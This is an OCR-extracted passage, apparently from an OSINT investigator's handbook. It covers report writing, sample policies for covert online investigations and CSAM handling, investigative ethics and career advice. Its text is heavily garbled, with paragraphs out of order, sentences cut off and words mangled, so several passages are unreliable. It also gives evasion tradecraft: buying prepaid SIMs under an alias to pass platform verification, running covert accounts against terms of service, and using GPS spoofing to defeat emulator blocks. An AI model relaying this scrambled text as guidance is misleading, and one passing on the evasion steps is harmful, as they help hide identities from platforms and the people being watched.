means that I am redacting evidence. I would rather my client view the digital screen capture which displays the entire page. If I do want to include printed online screen captures, 1 will do so at the end of the report, and as a supplement. Also notice that after each set of screen captures, I summarized the value. In this example, the most beneficial evidence was a specific image. I have found that presenting the client with every possible detail results in an overwhelming report. I believe it is our job to tell the client what he or she may care about relevant to the case. After all, we are the analysts. Anyone can collect a bunch of screenshots. The true value is understanding why these captures are important In the next example, I outline findings on Twitter. Most notable within these captures is the "Photos" section identifying photos associated with hunting, including images with both Mr. Davis and his doctor within the same photo. This specific evidence is titled as follows. I located the Twitter profile of the suspect’s daughter, Kylie Davis, at twitter.com/kdavis722. I exported the most recent 3,200 posts (Tweets), and saved this as kdavis722.csv on the attached disc. 1 found the messages between Kylie Davis and Patricia Stevens (pstevens6655) of most interest. I isolated these messages with the following two queries. • Online evidence proves a personal association between the suspect and his doctor. 498 Chapter 30 • Online pictorial evidence proves the suspect to have been physically fit enough to lift heavy objects within the time period of the disability claim. • Online evidence proves the suspect to be able to hunt in rugged conditions within the time period of the disability claim. This investigation was conducted with the hopes of identifying the participation of medical fraud by the suspect. 1 believe that this claim of fraud has been proven true. 1 advise continuous monitoring until the workman's comp claim is setded. Specifically, this investigation reveals the following as fact. • Executive Summary: One-page synopsis of vital evidence. • Suspect Details: Specific data such as all personal identifiers, usernames, etc. • Narrative Report: Detailed findings with references to digital evidence and summaries. • Summary Report: One-page summary of facts and need for future work. • Digital Evidence: A DVD or drive that contains all screen captures and files. Note that 1 included details of the search technique, the specific evidence files, and information as to the importance of the content. I like to be as brief as possible. The digital screen captures provide all of the evidence necessary’, and explicit detail of each capture is overkill. In most investigations, 1 have several pages of this type of narrative. Finally, I include a one-page Summary’ Report at the end. This also identifies future investigation needs and whether the incident is resolved. The following is a partial example. Note that I did not make any claims I could not prove, and I did not inject much opinion into the matter. I always try’ to keep the reports factual and unbiased. If I locate any’ online evidence that supports the suspect, I include it as well. When this happens, I make sure to emphasize this with digital screen captures and a brief summary’ of the content Overall, I tty to include the following with each report. This verbiage announces your competence to the prosecution and defense. It may stop some scrutiny toward your work during a trial or hearing. Ultimately, it shows that you conducted your investigation fairly’ with great concern for the integrity of your evidence. Additionally, this may’ make y’ou stand out to your supervisors or the office of prosecution. I have found that consistent dedication to accurate reporting can go a long way toward your reputation and promotions. This chapter has presented many reporting options, some of which may' contradict the others. Your reports may be extremely complex and contain dozens of pages, or consist only’ of the executive summary’. My’ goal here was This entire investigation was conducted within a Linux virtual machine. This operating system was created on (insert date) and saved as an original copy. All security updates were applied at that time and no online investigation was conducted within this original copy. A clone of this sy’stem was created and tided (case number). This clone was used as the only’ operating system resource for the entire investigation. No other investigations were conducted within this clone. At the end of the investigation, this virtual machine was exported as (file name). This file can be used to recreate the entire investigation environment exactly as it appeared during the actual investigation. Online evidence proves the suspect to have been physically’ fit enough to run 5 kilometers within 28 minutes within the time period of the disability claim. As stated previously, I believe that every’ OSINT investigation should be conducted within a virtual machine. At the end of the investigation, the entire machine should be exported as a single digital file and included with the digital evidence. I would also consider including the following paragraph within your narrative report. Documentation & Reporting 499 *p,ain^ .-scale and be First, I need an unlocked mobile device. This will never be used outside of the investigation or for any p use. I usually buy refurbished Android devices at local cell phone repair shops for $20 each. These b low-powered, and overall undesired units which have very little value. You may also find similar new p grocery' stores, pawn shops, or online through eBay or Amazon. I then purchase Mint Mobile o h week either Amazon or mintmobile.com. These are $2.50 each, but include a $5.00 credit for sendee and a °nej.c|nase free trial. Three months of service is $15 per month ($45 total), and T-Mobile is the data provider. Pur the phones and service with prepaid gift cards or Privacy.com virtual cards. I insert the SIM into the device; download the Mint Mobile application over Wi-Fi; register an account an alias name; and start my trial. Since this is prepaid service, there are no verifications or credit checks. , a local telephone number issued by Mint Mobile which can be used for the coundess verification text am likely to face over the course of the investigation. When Facebook demands a real cellular number, g1 this out freely. When Gmail blocks my account as suspicious, I can unlock it with a verification text. I no o g dread the suspension notices ty'pically’ received when relying on VOIP numbers, VPN connections, an email accounts. This cellular number is myr ticket out of most negative situations. Large-Scale Continuous Investigations Many of my' investigations span weeks or months. Most are extremely sensitive and must possess c ^ent isolation from any other investigations. This goes beyond a clean virtual machine. They deman Jetcct of dedicated Facebook, Twitter, email, and other accounts, which can become difficult when pro\ nt to my behavior as suspicious. In these scenarios, I assign a dedicated mobile device and cellular ata roteC^on each investigation. This may sound ridiculous and expensive, but we can provide this extreme layer o^p at minimal cost. My' process is as follows, and only applies to investigations which cannot a compromised by' case-contamination or suspended accounts. to simply provide documentation considerations and their impact on the success of your — you have developed a report template that works well for your investigations, recreating a report will save time and energy’. Everyone's reports are unique, and you should find the best way to al findings to an audience of any technical level. It is now your mission to identify the best documenta reporting practices for your needs. 1 close this chapter with one final consideration for your ne investigation. The following explains how to isolate a burner SIM card with a cellular data acc prepared to disclose our information. I can also place applications on the device when an emulator is not appropriate. As an example, Snapchat and Tinder usually block Genymotion and other virtual Android environments. With this device, I can install the native apps, launch a GPS spoofer, and conduct my investigation without roadblocks. My' device appears real and I bypass scrutiny from the providers. At the end of the investigation, I remove the SIM and place it and the phone in a sealable plastic bag with holes punched for use in a binder. These can be found in any’ office supply’ store. The phone and SIM are part of the investigation. The sen-ice will expire on its own and I have a clean digital trail. If necessary’, 1 can provide the device and account details as part of discovery’ in court. I have no concerns if an expert witness wants to clone the machine for their own analysis. If the number should become exposed in a data breach, it is not a problem. It will never be used again. If you plan to replicate this technique, I advise preparing now. You do not want to be shopping for a device and waiting for delivery’ of a SIM card while you should be investigating your target. 500 Chapter 31 SECTION 1.0 SOCIAL MEDIA - INVESTIGATIONS - STATEMENT OF INTENT 1.1 DEFINITIONS [If not addressed elsewhere in the section] Policy, Ethics, & Development 501 Browser — Software which translates various forms of internet code into human understandable formats including, but not limited to, plain text, graphic images, and animations. Ch a pt e r Th ir t y -On e Po l ic y , Et h ic s , & De v e l o pme n t conveyed in a manner that shows > to specific individuals, and Private - Content is private when transmitted or < reasonable measures and intent to limit access Most organizations place online investigations policies within a section covering the overall social media policies. That section is usually broken down into a statement of intent, social media definitions, official use, personal use, and finally investigative use. I believe that operationally it makes more sense to group online investigations policies under the "Investigations,, section of your agency manual. This is consistent with our argument that purpose and use should drive policy, rather than platform. Open source intelligence gathering is just another form of lawful investigation and we want to align it as such. An online undercover operation should be conducted and scrutinized in a manner similar to a covert assignment on the street Comparing online investigative procedures with how the agency might use social media for public relations makes little sense and yet most organizations group them together. Avoid using language tied to specific technologies or platforms, as those will change rapidly over time. In-house council may request language pertaining to Facebook or another specific third-party' platform. They may recommend building policy around specific tools or technologies. It is our responsibility to demonstrate how the rapid changes in technology' will make such a policy ineffective and almost immediately irrelevant. Moreover, limitations imposed by' overly specific regulations will likely confine us to difficult options. There is much controversy over the use of social media and personal data for investigative purposes. Therefore, it is critical that your organization has a clear and concise technical investigations policy' in place. This should be a one or two-page document and it must include at a minimum a training standard, an approval process, and an appropriate use policy. [This statement articulates the importance of establishing guidelines for appropriate use of online accounts, services, and software for the purpose of online criminal investigations. It should be brief and reflect the mission statement of your organization. Consider borrowing language from existing policies related to appropriate investigative tactics.] I believe that for most agencies an online investigations policy' should be no longer than two pages. The following is the basic framework for an appropriately' non-specific policy. The statement of intent and definition sub-sections may' be omitted if those are addressed within your general social media regulations. Responsible investigative policy' should focus on the appropriate use of techniques and technologies. Review and borrow heavily from the mission statement and boilerplate language that your organization already applies to traditional investigative procedures. Any existing policy relating to training, equipment, enforcement, supervision, or chain of custody will have language that will fold easily into the framework of your online investigations policy. where it is reasonable to expect that only those individuals will have access. Post - Submitting information to the internet or a social media site. Site - A page or series of pages hosted on the internet. sites, Examples of social media and video. 1.2 APPROPRIATE USE 1.3 APPROVAL PROCESS 1.4 TRAINING 1.5 RETENTION/AUDIT 1.6 AGENCY FORMS (if applicable) 502 Chapter 31 All operational documentation and investigative logs are subject to review by the Office of the Inspector General [or appropriate body of oversight] . Social media accounts and online identities used in an investigative capacity will be reviewed and approved by the unit supervisor to ensure they are within policy. Ongoing casework will be periodically evaluated by the unit supervisor for compliance with agency policies and investigative best practices. Authorization & Training Verification Covert Online Investigations Unit Compliance Log - Online Investigations Public - Content is public when shared on a site or service in a manner wherein a reasonable person would expect that it is accessible to a broad or non-specific audience. Data obtained during online investigations is handled and stored per the agency's existing digital evidence and retention policies. Where operational constraints necessitate unique data management procedures, the unit supervisor will review, approve, and log any non-standard measures along with a written justification. Personnel will only participate in the creation and use of investigative social media accounts after successfully completing an approved Covert Online Investigations training course. Unit supervisors are responsible for ensuring that all personnel utilizing investigative technologies are provided with appropriate training and supervision. Social Media - Various online platforms, sites, and services facilitating the "posting" or sharing of information on the internet, content include text, images, audio. Investigative accounts and tools will be used for agency purposes only. Investigative social media profiles, software, and services will not be used for personal purposes. Agency resources will be used in compliance with local, state, and federal law. Personal equipment, services, and accounts will not be used for investigative purposes. Investigations will abide by all legal restrictions relating to private vs. public data and consistent lawful search and seizure. Where required by law, legal orders will be obtained from the appropriate magistrate and/or jurisdictional authority. 1.7 ACKNOWLEDGEMENT OF TECHNOLOGICAL ADVANCEMENT 1.8 REVISION HISTORY this policy which reverse [Date of inception]-[Date 1.9 APPENDIX Policy, Ethics, & Development 503 For smaller teams or organizations lacking an official policy structure, an alternative format could be a set of standard operating procedures (SOPs). The content will be essentially the same, but less formal in structure. Take the previous policy example, delete the definitions and headings, and paste the remaining content into your agency's memorandum template. Then, have it approved by a commander or manager higher in rank than the front-line supervisor. The important thing is to have some type of documented standard for these types of investigations. Eventually a controversial incident or high-profile case will expose your team to scrutiny and a well-structured policy will go a long way to demonstrating transparency and professionalism. [Appendices are used for informational material that is helpful, but not directly related to the implementation of the policy. These can be references to related policies, procedures, or case law providing the foundation for investigative best practices.] *Legacy versions of chronological order. Rev. 19.32 [Link to official archive if applicable] Rescinded] The state of the internet and social media technologies evolve rapidly, and it must be acknowledged that the pertinence of overly specific policy will limit the effectiveness of said policy. It is for these reasons that appropriate and responsible use, rather than specific products or technologies, are the foundation of this section. For those in the public sector, specifically law enforcement, always be thoughtful regarding any reasonable expectation of privacy. U.S. courts have ruled consistently in favor of online undercover infiltration tactics based on the fact that a reasonable person knows that others on the internet may not be who they purport to be. Where we can get ourselves into trouble is when we cross over into what could be considered private communication. One example is recovering an unlocked smart phone from an arrestee and noticing that the phone is receiving social media messages. You would not want to pretend to be the phone's owner and engage in conversations without appropriate court granted authority, such as a search warrant. Another scenario is a victim allowing you to use their social media account for direct communication. Some jurisdictions consider any communication outside a "group chat" private and you may be required to obtain a legal order to continue any type of private or direct messaging using a third party's identity, even if it is with consent. Much depends on the jurisdiction in which you are working, which can get complicated when your cooperating victim and the suspect are in two different states, or in some cases, different countries. are typically presented in If your organization requires language around "interaction", such as "friending", make this as non-specific as possible. Some agencies also restrict the use of covert social media accounts, which will extremely limit the effectiveness of your OSINT work. You have to educate management and legal advisors on the importance of covert accounts in building actionable intelligence. Decades of case law supports the use of "undercover" operations for traditional investigations and online investigations should be treated no differendy. If you are forced to accept some restrictions related to covert accounts or infiltration, push for them to be contained within SOPs rather than agency policy. Continue to lobby for a reasonable standard utilizing appropriate concepts and language that is not overly specific. Common phrases of this type of language include "for lawful purposes", "consistent with agency training and standards", and "when feasible and reasonable". I am not an attorney and the best path is always to solicit advice from legal counsel that is familiar with the local, state, and federal laws affecting your jurisdiction. Common sense goes a long way and I always ask myself if CSAM Policy 504 Chapter 31 3) Report the incident to law enforcement: Reporting requirements will vary between jurisdictions, but ethical responsibilities for reporting are universal. Although your local law enforcement agency may not have the capabilities to investigate the incident fully, you will have created a trail of documentation which demonstrates personal due diligence and effort on behalf of your organization. 4) Report the incident to NCMEC: Report the content to the National Center for Missing & Exploited Children (missingkids.org/gethelpnow/cybertipline). Memorialize this reporting in your notes and consider saving a screenshot of your submission. In the course of our investigative work, there are times where we might locate content that is, by its very nature, illegal. If we are investigating crimes such as child exploitation, this might be intentional. We should be fully trained on how to appropriately document that digital evidence. Investigative units which do that type of specific work are less scrutinized than those who unintentionally stumble into digital contraband. These people often find themselves unprepared to deal with the ramifications. Those who work specifically in roles investigating child exploitation will already have more detailed processes and policies in place. Although there is a range of digital contraband which could potentially fall into this category, the most critical issue to address in your process and policy is Child Sexual Abuse Material (CSAM). Within the open source intelligence community, specifically the crowd-sourced programs investigating missing or exploited persons, we see an increase of investigators locating material with a reporting requirement. 1 am not an attorney. 1 recommend investigators within the U.S. becoming familiar with Title 18 Part 1 Chapter 110 Section of 2258A of the U.S. legal code (https://www.law.comell.edu/uscode/text/18/2258/\). There are a couple of important distinctions when it comes to CSAM in regard to semantics. Many laws in the U.S. and elsewhere still use the term "child pornography", which is widely considered as dated and inaccurate. Although you may need to use that terminology in the charging documents required by your jurisdiction, I recommend using the term "child sexual abuse material" in your notes and incident documentation. This, or the acronym CSAM, are generally accepted as the preferred terminology. First, let's address what you should do if you stumble onto content which you feel may be CSAM, or otherwise require reporting responsibility. The following are recommendations for those who do not already have a policy. 2) Notify a supervisor Due diligence is essential in these incidents. One of your first actions should be notifying a superior to show that everything is above board. This can also ensure that all appropriate procedure and policy requirements are met. They may have additional responsibilities related to the scenario of which you are unaware. Even if mistakes are made along the way, we must show that we made every effort to act in good faith. 1) Do not capture it: We typically want to capture any online content for preservation when we find potential evidence of a crime. However, there are two primary' reasons to avoid capturing CSAM. The first is to protect the victims. The last thing we want is unnecessary' copies of harmful material being created, and possibly leaked, due to mishandling of data. Next, many jurisdictions define mere possession of CSAM images and video as a felony offense. Although your intentions may be noble, collecting this material could create legal consequences. If you are trained to handle evidence in these types of investigations, follow your defined procedure. Otherwise, it is best to only record URLs and other non-graphic material. there is any way a target could argue a reasonable expectation of privacy. Additionally, being good stewards of privacy is important when building trust with our communities. We never want to portray any hint of recklessness during intelligence gathering. Practice good documentation during the process in order to build favorable case law and maintain as many' of our tools as possible. Sample CSAM Policy SECTION 1.1 REPORTING EXPLICIT MATERIAL 1.1 DEFINITIONS [If not addressed elsewhere in the section] Media - Visual or audio material stored in 1.2 REPORTING RESPONSIBILITIES Policy, Ethics, & Development 505 Employees in the course of their normal duties may encounter materials on the internet which by their very nature demand action in regard to notifications and proper handling. This policy aims to provide a baseline set of procedures which support the proper handling of any incident involving illegal digital content and/or specifically child sexual abuse material (CSAM). Minor - An individual whose appearance would lead a reasonable person to believe they were under 18 years of age. an analogue or digital format. 6) Document the incident: Create a concise record to memorialize encountering the contraband material. If you are uncertain what to document, consider including the date, time, investigator, supervisor, URLs, and description of the contents. You want to convey an understanding of why you believe the material may be contraband. The previous recommendations are not a replacement for preparing a proper and well defined procedure for handling illegal digital material. Although I am not a believer in having policy just for the sake of policy, this is an area of potential liability. You would be wise to also consider a written policy reflecting and supporting your prescribed best practices. You might need it to defend yourself or a colleague against allegations of criminal or negligent behavior. If that occurs, a written policy shows your organization is professional and squared away. The following is a very general framework for a CSAM policy. Instances of illegal online content to include CSAM will be reported to the appropriate legal authority. Additionally, employees will notify a supervisor The largest pitfalls in properly handling this material are in the reporting. Again, we do not create copies of the photos or videos unless we are trained to do so. We want to document enough information to direct authorities to intervene, and yet we want to be certain that we are not making things worse for the victim(s). CSAM - Child sexual abuse material consists of any still, video, or audio data depicting any sexually explicit conduct involving a minor. 7) Wellness: Even for seasoned investigators, exposure to CSAM or other materials depicting victimization can be very disturbing. There can be lasting personal emotional impacts if not properly addressed. It is entirely appropriate to speak with a professional counselor or other support personnel following an exposure to images, video, and even secondhand accounts of inhumane acts. It is important to take care of yourself, subordinates, and colleagues following a CSAM exposure, whether due to an investigation or an unintentional discover}' while doing other online research. 5) Report it to the involved platform: The timing and appropriateness of this will depend on the platform. If the platform itself is potentially involved in the criminal activity, we do not want to tip our hand. Also, we want to make sure we notify law enforcement first so they have an opportunity to preserve evidence. Most platforms will retain digital evidence in CSAM incidents, but not all. Law enforcement will typically serve them with a preservation letter to request that an offline backup is maintained in the course of executing content removal. POST INCIDENT PROCEDURES 1.3 DOCUMENTATION 1.4 EXCEPTIONS 1.5 1.6 TRAINING 1.7 REVISION HISTORY typically presented in which are reverse [Link to official archive if applicable] [Date of inception]-[Date 1.8 APPENDIX 506 Chapter 31 All employees are responsible for reviewing and acknowledging this policy. Any units assigned with online investigations as a primary duty will complete an additional body of training at the discretion of their unit commander. [Legacy versions of this policy, chronological order] [Appendices are used for informational material that is helpful, but not directly related to the implementation of the policy. These can be references to related policies, procedures, or case law providing the foundation for investigative best practices.] This policy does not supersede any policy or procedures related specifically and directly to investigative units with child exploitation investigations as a primary duty. Such units must have specific exemption granted by [Unit or Section Commander]. Rev. 20.10 Rescinded] immediately upon discovering said content. The supervisor will document the incident and ensure that material which is exploitive in nature is not further propagated. Once you have a policy drafted it is wise to have it reviewed by your in-house council or other legal advisory body. Remember to provide training for employees on both the policy and procedures. A baseline of awareness will save you a fair amount of stress when an incident involving CSAM occurs during an investigation or intelligence operation. Personnel will not copy or otherwise reproduce any material that is believed to be child sexual abuse material. Every effort will be made to capture location information such as internet addresses, IP addresses, and/or domain names without including any media that could cause further exposure or harm to the depicted victim(s). If you are a student or non-professional OSINT practitioner, consider starting a conversation with your instructors and peers about the proper handling of illicit materials. If you join a crowd-sourced or charity event related to crimes against children, please ask the organizers for direction and education regarding appropriate procedures for responding to occurrences of CSAM or other digital contraband. As with most other aspects of online investigations, the key is having a plan and showing that a reasonable level of due diligence applied. Equipment exposed to sensitive and potentially illegal material will be examined by appropriate technology personnel to ensure that any digital contraband is removed and that the workstation or systems in question are appropriately sanitized prior to further use. Ethics should always be as mindful as possible in regard to the data we investigation, you should clarify the scope of engagement How Policy, Ethics, & Development 507 In the workflow section, we talked about identifying your mission goals at the eginning o any 1 engagement Establish the reason why you are collecting intelligence on this target. T is not on y e ps you o get organized in your approach, but also raises the question of intent It might be that I am o owing or ers or fielding a request from a colleague. The target might be related to a person of interest on a larger investigation. They might even be a future employee going through a background investigation. / o ese are typica. reasonable business purposes for exercising our intelligence gathering skills. Privacy’ is certainly the cornerstone of ethical considerations related to open source intelligence gathering, but I will also be discussing issues of intent and deception. Privacy is a broad issue and will pertain to almost every portion of our case. Deception becomes pertinent when we engage in active covert measures such as undercover accounts or "friending" targets. My decision to press forward on the second scenario is based on the seriousness of the crime. or a situation like crimes against children, you need to exhaust all reasonable means up until there is a certainty’ at t e persons of interest bear no public threat. I am still obeying all laws, but it is far more reasonable for me to sort t roug the entirety’ of someone's public data if failing to do so might cause extraordinary’ harm to someone. e seriousness of the crime being investigated justifies a far broader scope of investigation and level of intrusion. While some data on the internet is clearly public, there is questionable data that is publicly accessible and legally obtained, despite the owner intending it to be private. An example of this might be an Elasticsearc ata ase that was improperly configured. If we can access it via a browser and providing no credentials, we s ou e in good legal standing. However, we are taking advantage of a mistake on behalf of the owner rat er an something being intentionally’ shared. My’ feeling on these ty’pes of data sets is that our intentions ma _e e difference in deciding if it is appropriate to use them. Examples of strong use cases would be defensive vulnerability assessments or investigations into crimes against children. We always want to balance the degree of impact on another individual s privacy’ with the greater goo being served by the mission. If I am merely investigating a misdemeanor crime or gathering intelligence a out what looks to be a peaceful community’ event, I am going to be far less aggressive in accessing any sites or ata that were clearly made public in error. We each value privacy in our own lives and we collect during our investigations. Early in an i o r deep are you going to dig and what is the appropriate balance between purpose and level of intrusion? Here are two scenarios from the law enforcement world that represent opposing ends of the spectrum. Scenario #1:1 receive a report of online threats against a public official and am asked to make an assessment and if necessary’, identify the owner of the account. I locate the account and posts in question and immediately’ see that although they are mean spirited, the comments do not articulate a true intended threat. A common example of this is similar to, "I hope you get cancer". It is a terrible thing to say, but there is no threat implied. At this point, I can report back to my boss that there is no threat If necessary’, I can show her a screenshot of the post. 1 have accomplished the mission and there is no justification to dig into the details of that person's life. Scenario #2: We receive a tip from an internet service provider that a specific IP address is pushing traffic containing a large amount of child pornography’. I investigate the IP address and find that it is a listed Tor exit node. That means the person operating the router at the associated residence or business is allowing people on Tor to funnel their internet traffic through their device. So now I know there is a fair chance that the person at that residence is not direcdy’ involved in the child pornography and may be completely’ unaware of its presence. I do not stop my investigation. I dig up every’ piece of public data that I can on the people controlling that router. 508 Chapter 31 Deception is any behavior that misleads another person to believe something that is not true. This seems wrong when taken at face value, but there are occasions when deception is ethical and warranted. Take for example using social engineering to get your home address removed from a site-run data-mining company. You are doing no harm to others, but you are most certainly using deception to accomplish your goal. The two most common forms of deception in open practice of infiltration or "friending" target individuals considerations. source intelligence are the use of covert accounts and the or groups. Let's look at each of these and their ethical Finally, I believe that we have an ethical responsibility to engage in ongoing training in both OSINT and privacy. Lack of familiarity with both technique and legal requirements leads to mistakes. Sloppy casework does a disservice to us all. We owe it to the people we serve, whether they are clients or victims of crimes, our best efforts and discretion in making sure that we uncover the truth and bring it to light. A big piece of protecting our tradecraft is showing that we wield our tools and talents with restraint and thoughtfulness. Infiltration: Infiltration, such as "friending" individuals or joining social media groups, is far more invasive than merely using covert accounts to run queries. When you join a group, you are, to a small degree, changing the dynamics of that group. When you interact with a target on Facebook or in a forum by commenting on their posts, you are directly affecting them, even if it is in a very small or positive manner. Just as we demonstrated when making a comparison of scope, infiltration has its place in an ethically conducted OSINT investigation. Joining a criminal forum to gain the confidence of, and to deanonymize, child predators is a case where the greater good significantly outweighs the level of intrusion. I do not like limiting these types of tactics by policy, as that type of framework tends to be too rigid. However, I do want to always be able to articulate my justification before interacting with targets online. Typically, my OSINT work is the result of a public safety event or statutory obligation, which allows for well- defined ethical grounds and clear justification. When I do run into "gray areas", it is usually when doing contract work for private sector clients. It is perfectly acceptable to conduct investigative work on behalf of a for-profit organization, but we do need to be clear on the intended use of any gathered intelligence. Often this is very straightforward. Common use cases are the vetting of vendors or potential employees. Another is vulnerability assessments on both the organization or C-level management. How the client intends to use our work product matters. We never want to be an unwitting part)7 to a harassment or cyberstalking situation. 1 don't always know all of the details of a case, but I need to be able to articulate the reasonable operational justification for digging into a person's life. This is not a high bar, but just as 1 do not follow a stranger on the street for no reason, I too show care and consideration when conducting investigative work on the internet. /\ good rule of thumb is that any OSINT work that provides personal gratification is a red flag. We don't stalk exes or someone that caught our eye on the train, even out of innocent curiosity7. Likewise, we don't cyber-stalk the guy in the car behind us in heavy traffic, who expresses his feelings towards us with a crude gesture. We are professional investigators and always leverage our skills in a professional manner. Covert Accounts: The use of covert accounts violates the "terms of service" of most social media platforms and online services. However, covert accounts are critical to successful queries into social media platforms, and not authenticating with these services would hamper the effectiveness of our work. If our intent is good, we have articulated the reasonable justification for the use of these accounts and stayed within the confines of our investigation, this deception will not be invasive to the other users. We are one of many anonymous accounts. One of the clearest examples of using OSINT for ill-intent is the practice of doxing. Doxing is using online research to profile an individual and then posting that information publicly on the internet with the intent of creating fear or embarrassment. The goal is to make the person feel exposed and show that you have power over them. It is cyber-harassment and it can even rise to the level of being a chargeable criminal offense. Professional Development Formal Education Experience Policy, Ethics, & Development 509 One of the most common intelligence. This often inquiries I receive is regarding the establishment of a career in open source comes from individuals in the private sector who are new to online investigations and those in the public sector looking to move into OSINT as a specialization. Although some concepts are universal, let’s look at each of these scenarios. I will share some considerations for your new career. If you look at practitioners in the open source intelligence field, you will find a wide variety of educational backgrounds. While there are universities that offer degrees and programs specific to analysis, intelligence, or investigations, I do not think you need to necessarily have that specific educational background. Many successful colleagues have degrees completely unrelated to this line of work, and many more received their education from the military or other organizations which provide internal training. Some employers will require a degree or a certain number of years of secondary education, but these prerequisites tend to be arbitrary. Many will accept work experience in place of educational requirements. • Military Service: Many colleagues received their initial intelligence training and experience in the military. It is also one of the only paths which builds education and real-world experience while also affording you a modest living. Military sendee may also provide opportunities for language studies and exposure to other cultures, both of which are very valuable in our field. • Law Enforcement/Gov: Many LE and government agencies have units or entire branches which provide intelligence operations, investigations, or other OSINT products on a daily basis. The downside to this approach is that those types of positions often require working through the ranks. You may need to provide many years of sendee prior to being eligible for placement into one of these specialized teams. • Private Sector: Although the intelligence units in larger firms are looking for specific experience and educational backgrounds, there are other departments, such as loss prevention, which can be a foot in the door. The requirements tend to be lower but still include opportunities to build and use investigative skillsets. These types of positions may not be your end-goal, but they are a step in the right direction. • Create a Program: If you already work at an organization which does not have an OSINT function but could benefit from one, you might consider writing a proposal for adding that capability. Put together a demonstration for management and make sure to include success stories using OSINT. Think outside the box and understand that it will take time to gain traction. Some of the most important skills in this line of work can be non-specific to our field. The ability to organize information and communicate well, both verbally and in written form, are indispensable. There are very few assignments or contracts which do not involve generating some type of written report. You can be the best researcher and investigator in the world. However, being unable to package and present your findings in an understandable and professional fashion will prevent you from successful employment. Working to improve your written and verbal communication skills cannot be emphasized enough. Your resume is essentially an intelligence report representing your own capabilities. Make sure it is concise, well organized, thoughtful, and free of errors. Experience is arguably the most valuable resume item and yet it is probably the most difficult qualification to gain. Many new analysts and investigators run into the chicken-and-the-egg issue. Most employers are only looking to hire experienced professionals, but it is difficult to gain experience until you are employed. There are several paths to gaining experience, but some will require managing your expectations or adopting a non- traditional approach. I have seen colleagues and students successfully build experience in the following ways. Building a Program 510 Chapter 31 • Articulate that an OSINT capability is an teams to increase efficiencies and success. A small more than hundreds of untrained investigators. • Articulate how increased situational awareness will reduce liability and risk. Field operators will have better intelligence for critical incidents which enhance the chances for positive outcomes. • Propose a timeline and metric for measuring success. • Estimate equipment, training, and staffing costs to begin the project. Consider utilizing low-cost alternatives such as surplus equipment. Early in my career, a fair amount of OSINT work was conducted on previously seized laptops and recycled desktops. • Prepare a sample policy and standard operating procedures. • Prepare a communications, documentation, and approval plan. • Research location options for the team if it needs to be centralized. The first step should be crafting a proposal which demonstrates the return on an investment from bodies and operating budget toward an expanded capability. The content of your proposal will depend somewhat on your specific organization and field. Consider the following. Management tends to be most concerned about risk and cost. Your proposal should contain credible research to support die argument that public and private entities are employing dedicated open source intelligence teams to reduce risk and improve performance. Provide them with a prepared logistics plan and expect management to have reservations and objections. Convince your audience that they are behind the curve, but have the opportunity to lead the pack. If you are successful, control your expectations and understand that management will likely make their own changes to your plan. The goal is to establish a foothold. Understand that a fully capable OSINT unit will take time to develop. • Volunteer: Find a person, team, or organization that does this type of work and volunteer to assist them whatever possible. If you can pass a background check, and you are able to work for free, unpaid internships are fantastic opportunities which can lead to full-time employment. This can often be at the same organization. • The Entrepreneur: This is the path that I do not typically recommend. However, it is the most common. Starting your own company, or picking up a private-investigations license with little to no experience, is not likely to get you very far. If you are early in your career, you are better served surrounding yourself with experienced peers in order to benefit from their knowledge and learn from their mistakes. Some of you may already be working in the intelligence or investigations field, but are looking to expand your capabilities. Others may be looking to make a pitch to your boss for more staffing and resources. Building an OSINT program or team can be challenging, but the following are recommendations based upon my own experiences. industry standard and most agencies are using specialized team of well-trained investigators will contribute Even if you are inexperienced, the ability' to work as a team, eagerness to learn, and a strong work ethic are the qualities most employers seek in new hires. Wherever you build your experience, start creating a reputation as being someone excited to learn and willing to do menial tasks to support the mission. Early in your career, expect to do a lot of work that is outside of your area of interest. If you expect to be paid well to do interesting tasks, but you have little work experience, you are probably going to be disappointed. I have worked many assignments and roles which had very little to do with the intelligence field but were invaluable experiences. Be gracious, patient, eager to learn, and those disinteresting entry-level positions and internships will turn into something resembling a gratifying career. OSINT Specific Training and instructors. Policy, Ethics, & Development 511 Where do live courses, bootcamps, and other premium training programs come in? If you or your employer have a healthy budget for training, and you have less time to spend doing your own research, premium training may be worth the investment. For most people, live, hands-on training is the fastest way to learn something new or to improve existing skills. Live courses tend to be quite expensive. The area between live training and self­ study is where online video training resides. It affords the opportunity to watch concepts and tactics demonstrated, but often lacks the hands-on labs common to live sessions. You can do a lot with a book and determination. Having a dedicated instructor and more materials just gets you there quicker. IntelTechniques provides a variety of training tools, including this book which is affordable for almost anyone. For those who want to accelerate their learning curve, there is online video training at IntelTechniques.net. If you are looking for hands on instruction, we also offer live training sessions. Regardless of your budget and goals, make sure to do your research before settling on a training program. There are dozens of OSINT "experts" claiming to have the best courses and techniques. Use the research techniques in this book to get a peek at previously released content or to find communities where people are discussing the courses Identify your goals, do your research, and execute the work to get where you want to be. Learning and honing any skill takes time. The length of time depends on your level of focus and interest, but this can be greatly influenced by the quality of learning materials. I believe that someone who is motivated can learn just about anything on a near zero budget if they are willing to devote time, attention, and dedication. Materials such as paid courses, and even this book, simply do the research for you and accelerate the learning process. Therefore, a good learning strategy takes advantage of the resources you have available. For those with a tight budget, you should expect to do a lot of research and self-learning. However, there are many benefits to this. Autodidactic learning is the process of figuring out something or solving a problem on your own. Conducting your own problem solving can make you a stronger investigator. Performing investigations and gathering intelligence are often exercises in problem solving. When we are given all the answers, we do not strengthen those important areas of our brains. The beauty of open source intelligence is that it builds upon itself. We are learning to get better at conducting online research, which is a skillset that we can use to locate new techniques for improving our online research. This book, a browser, and determination can get you quite far towards building your own solid skillset. 512 Conclusion Co n c l u s io n Thank you for reading. ~MB Finally, remember that each of these investigation techniques could be used against you. When you find your own information exposed, take action to protect yourself. Personal defense against OSINT is as important as offense. If you would like to stay updated on these topics, please consider my other book, Extreme Privacy: What It Takes To Disappear. I hope the techniques presented have sparked your interest in finding new avenues of research and investigations. With patience and diligent effort, this book will be a helpful reference guide to assist in performing more accurate and efficient searches of open source intelligence. Permanently documenting these techniques on paper may will provide outdated content. Technology changes quickly and methods must adapt to keep up. Ten years from now, this book may be an amusing piece about how we once managed our online data. To keep up to date with the changes in various OSINT strategies, please subscribe to my free podcast, The Privacy, Security, & OSINT Show, at inteltechniques.com; view my blog at inteltechniques.com/blog; or monitor my Twitter account at twitter.com/IntelTechniques. The chances are good that as you read this, new content has been posted about the very topic you are researching. With this book, I am passing the torch. YOU now have the search tools. As you find new resources and modify your files, let the community know over Twitter or other networks. When you configure a new Linux application in your custom virtual machine, tell us how you did it. When an online OSINT service disappears, I am eager to hear how you resolve the issue. I am truly excited to see how we all adapt to the impending OSINT 